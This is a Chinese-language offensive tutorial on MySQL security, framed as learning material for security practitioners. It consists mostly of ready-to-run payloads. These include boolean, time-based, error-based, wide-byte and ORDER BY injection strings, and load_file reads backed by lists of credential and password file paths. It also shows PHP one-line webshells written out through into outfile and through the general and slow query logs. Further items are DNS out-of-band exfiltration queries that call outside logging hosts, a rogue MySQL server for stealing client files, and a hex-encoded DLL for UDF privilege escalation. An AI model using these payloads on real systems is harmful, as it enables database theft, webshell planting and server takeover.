前言
mysql是目前用处最广泛数据库之一,作为安全从业者,详细系统的了解它的问题很有必要
介绍
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,它分为社区版和商业版,一般中小型网站的开发选择 MySQL 作为网站数据库。
Mysql 基础
information_schema
MySQL自带的系统数据库,当中大部分是我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。所以可以利用这个数据库来进行注入。
--存储mysql数据库下面的所有表名信息的表
information_schema.tables
--数据库名 : table_schema
--表名 : Table_name
-- 存储mysql数据库下面的所有列名信息的表
information_schema.columns
-- 表名 : table_name
常见系统函数和变量
- version() -- MySQL版本
- user() -- 数据库用户名
- database() -- 数据库名
- @@datadir -- 数据库路径
- @@basedir -- 安装路径
- @@version_compile_os -- 操作系统版本
字符连接函数
concat(str1,str2,...)
将字符串拼接
concat_ws(separator,str1,str2,...)
将字符串有间隔的拼接
group_concat(str1,str2,...)
将字符串拼接,但是间隔一个逗号
截取字符串函数
mid()
此函数为截取字符串一部分。
MID(column_name,start[,length])
-- column_name : 必需。要提取字符的字段。
-- start : 必需。规定开始位置(起始值是 1)。
-- length : 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
例如 : str="abc" mid(str,2,1) 结果为b
substr()
Substr() 和 substring() 函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
-- 参数描述同 mid() 函数,第一个参数为要处理的字符串,start 为开始位置,length 为截取的长度。
Left()
得到字符串左部指定个数的字符
Left ( string, n )
-- string 为要截取的字符串,n 为长度。
文件读取函数
load_file()
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
读取文件并返回该文件的内容作为一个字符串。
例如:select1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
sql注入
最简单的单引号 双引号 括号闭合 联合查询就不在这里说了
并且post cookie注入 http头注入不会在这里出现,因为本质和get都相同
盲注
何为盲注? 盲注就是在 sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显到前端页面。 此时, 我们需要利用一些方法进行判断或者尝试, 这个过程称之为盲注。我们可以知道盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
基于布尔 SQL 盲注
这是根据网页是否正常显示来判断
left函数:
当前数据库是security
select left(database(),1)>'a'; //查询数据库的名字并且获取前一个字符和s的ascii码进行比较
因为第一个字符是s大于a ,结果返回1,否则为0
如果我们知道第一个字符是s了,那么查询第二个字符就把1改为2,这样就变为se和sc进行比较,因为se>sc所以返回结果为1,这里第一个字符s=s是可以相等了,他会看第二个字符
substr()函数, ascii()函数
su
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度(注意起始位置是1不是0)
Ascii()将某个字符转换为 ascii 值
ORD()函数, MID()函数
ord同ascii mid同substr
正则表达式
利用regexp函数
因为匹配到了会返回1匹配不对会返回0,我们可以用and来判断网页是否正确回显来看
这里的if可以去掉,因为默认就是返回1和0
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp '^r');
实际利用
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
我们要查询表的名字,因为没有回显所以使用正则表达式来判断,如果成功会返回1,失败会返回空
如何知道匹配结束,一般是根据正则表达式变为 FALSE 说明后面没有字符了
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
但是如果是存在有字符的情况下,这样也会出现FALSE的情况,比如user_a,字母r之后虽然判断为flase了,但是并没有结束,我们可以更换正则表达式table_name regexp '^user$' ,判断是否是这个字符,^是从开头进行匹配, $是从结尾开始判断。
详情的正则表达式可以看链接
like 匹配注入
和上述的正则类似, mysql 在匹配的时候我们可以用 like 进行匹配
基于报错的 SQL 盲注
本来网页是不显示信息的,但是我们可以构造 payload 让信息通过错误提示回显出来
Floor报错注入
首先介绍几个函数
floor函数:向下取整
rand函数:随机产生0-1之前的随机数
但是如果给他传入一个固定参数,他就会产生一个伪随机数,并且数字不变这个随机数就一直不变
当我们乘2之后要不大于1要不小于1,所以floor得出的结果要不是0要不是1
count(*) 返回group分组之后的行的数量
当我们输入这条命令
select count(*),floor(rand(0)*2) x from users group by x;
如果加上database()
select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;
我们发现爆出了数据库
原理分析 见Mysql报错注入之floor(rand(0)*2)报错原理探究
主要原因count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)
实际利用
floor
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数其实也是取整数,和floor函数效果是一样的
extractvalue函数
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
第一个参数随便输入,我们需要的是第二个参数 因为0x7e是~的16进制,不符合xpath语法的格式,于是会把我们查询的给报错报出来
updatexml函数
同extractvalue
payload:
updatexml(1,concat(0x7e,database()),0)
当然报错注入的函数不止这几个,这只是几个最常用的,大家有兴趣可以找一下其他的
基于时间的 SQL 盲注
if(ascii(substr(database(),1,1))>115,0,sleep(5))
就是通过判断是否成功来进行延迟,这个很简单
benchmark 代替 sleep
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(1000000,md5(0x41))),1) --+
导入导出相关操作
load_file()
load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件:
A、 必须有权限读取并且文件必须完全可读
and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误, 应该是管理员给数据库帐户降权
B、 欲读取文件必须在服务器上
C、 必须指定文件完整的路径
D、 欲读取文件必须小于 max_allowed_packet
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
如果以下命令返回大于0则说明有读写权限,否则没有
select count(*) from mysql.user;
使用条件:
必须有权限读取并且文件必须完全可读
欲读取文件必须在服务器上
必须指定文件完整的路径
欲读取文件必须小于 max_allowed_packet
在很多 PHP 程序中, 当提交一个错误的 Query, 如果 display_errors = on, 程序就会暴露WEB 目录的绝对路径, 只要知道路径, 那么对于一个可以注入的 PHP 程序来说, 整个服务器的安全将受到严重的威胁。
常用路径
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
示例: Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替
into outfile
配置文件my.ini 需要有 secure-file-priv=''
写入一句话木马
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
修改文件尾
select version() into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
lines terminated by后写16进制字符串 本来默认是\r\n现在可以自己设置
如果load_file不显示,我们可以导入到别的文件中
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile
‘c:\\wamp\\www\\test.php
宽字节注入
原理: mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个
汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 我们在过滤 ’ 的时候, 往往利用的思
路是将 ‘ 转换为 \’
因此我们在此想办法将 ‘ 前面添加的 \ 除掉, 一般有两种思路:
1、 %df 吃掉 \ 具体的原因是 urlencode(\') = %5c%27, 我们在%5c%27 前面添加%df, 形
成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字, 此
事%df%5c 就是一个汉字, %27 则作为一个单独的符号在外面,同时也就进行了闭合。
2、 将 \' 中的 \ 过滤掉, 例如可以构造 %**%5c%5c%27 的情况, 后面的%5c 会被前面的%5c
给注释掉。 这也是 bypass 的一种方法。
%df%27 浏览器url自动解码===> β\' 转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df和%5c结合为汉字)===> 運'
我们以墨者学院靶场为例
由于'会被转码为\' 放到数据库 %27\会被转换 而'会留下 编程了 '-1運' 造成闭合之后我们就可以执行命令,而且在要注意一个点就是table_name这里的单引号也会被转义,于是我们直接给他转成16进制,数据库会自动给我们将16进制转换为字符串
得到最终结果
堆叠注入
mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行
我们发现确实同时执行了,那么在实际中我们引号闭合之后也有可能可以进行堆叠注入,但是堆叠注入和开发也有一定的关系,堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
order by后的注入
字面意思就是我们传的参数只能在order by之后
解决方案① 报错注入
http://sql.com/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
直接进行select查询,因为只要报错就会停止返回报错信息,我们不需要管是否排序或者排序是否会报错
解决方案② 利用rand函数
我们之前说rand里面添加数值他的内容就不会改变了
我们记住rand为true或者false的排序方式,和以下payload的返回结果进行判断来判断结果是否正确
http://sql.com/Less-46/?sort=rand(ascii(left(database(),1))=115)
解决方案③ 延时注入
payload
http://sql.com/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
rand函数是看返回结果,那我们直接用延迟函数看网站是否延迟会更方便
解决方案④ procedure analyse参数后注入
此方法仅适用于5.0.0<mysql<5.6.6的版本
PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议利用 procedure analyse 参数, 我们可以执行报错注入。 同时, 在 procedure analyse 和order by 之间可以存在 limit 参数, 我们在实际应用中, 往往也可能会存在 limit 后的注入, 可以
利用 procedure analyse 进行注入。
报错注入
payload:
http://sql.com/Less-46/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x7e,database())),1)
写入shell
http://sql.com/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e;
DNSlog外带盲注回显
利用条件
- DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
- Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
- 有个重要条件:load_file()函数可以使用。
也就是说需要配置文件my.ini中secure_file_priv=
UNC
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
payload:
select load_file(concat('\\\\',(select hex(user())),'.4efz3f.dnslog.cn/abc'));
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+
①select * into
mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)
use test;
drop table if exists vow;
create table vow(name text not null);
insert into vow(name) values('<?php phpinfo(); ?>');
select name from vow into outfile 'E:/5.txt';
drop tables vow;
②基于log日志写shell法
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log_file = ‘G:/2.php’;
这里设置我们需要写入的路径就可以了。
select ‘<?php eval($_POST[‘shiyan’]);?>’;
查询一个一句话,这个时候log日志里就会记录这个。
set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。
set global general_log = off;
关闭下日志记录。
最后利用文件包含漏洞获取shell
③通过慢日志查询获得webshell
对日志量庞大,直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志,记录了超时 10s 的 SQL,这样页面的代码量会减轻很多不易导致 500, 配置可解析日志文GETSHELL
show variables like '%slow%'; #查询慢日志配置
long_query_time 的默认值为 10,意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过 long_query_time 值的 SQL,则会被记录到慢查询日志中。
set GLOBAL slow_query_log_file='D:/phpStudy2016/WWW/slow.php'; #配置慢日志的保存位置
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
通过MySQL LOAD DATA特性来达到任意文件读取
如果我们能连接服务器的数据库,但是数据库没有可用的信息,我们可以用load data infile命令读取服务器上的文件内容并存入表中
先决条件
show variables like '%secure%'
secure_file_priv为空 代表可用读取硬盘上所有的文件
读取服务器文件load data infile
我们创建一个txt文件
"1","pwd1"
"2","pwd2"
使用命令读取d盘的txt文件,存到test库中的user表中
load data infile 'D:/test.txt' into table user fields terminated by ',';
读取客户端文件load data local infile
load data local infile '/home/kali/Desktop/test.txt' into table user fields term
inated by ',';
搭建虚假服务器读取客户端的文件
漏洞利用的相关工具及源码已在github,https://github.com/allyshka/Rogue-MySql-Server
条件:
受害者的Mysql客户端有权限读文件
受害者的Mysql客户端设置中,local_infile非0或连接时有用--enable-local-infile,默认是能够读取的
实验:
开启server监听
kali用任意密码连接
发现mysql.log文件夹接收到/etc/passwd文件
提权
UDF提权
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。
因为mysql拥有管理员权限,所以我们可以用mysql的管理员权限来执行命令,UDF提权和系统无关,当我们得到数据库的账号密码就可以尝试提权
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
使用NTFS ADS流来创建文件夹的方法
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
实验测试:
查看当前权限
大马没有回显,我们用蚁剑看发现是apache
使用shell连接数据库并执行命令写入dll文件(当然我们也可以直接将现成dll放到文件中)
这里的16进制文件其实就是dll的16进制,我们可以用python写一个简单脚本即可转换
with open(r"文件位置",'rb') as f:
hexdata = f.read().hex()
print("0x"+hexdata)
use mysql;
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050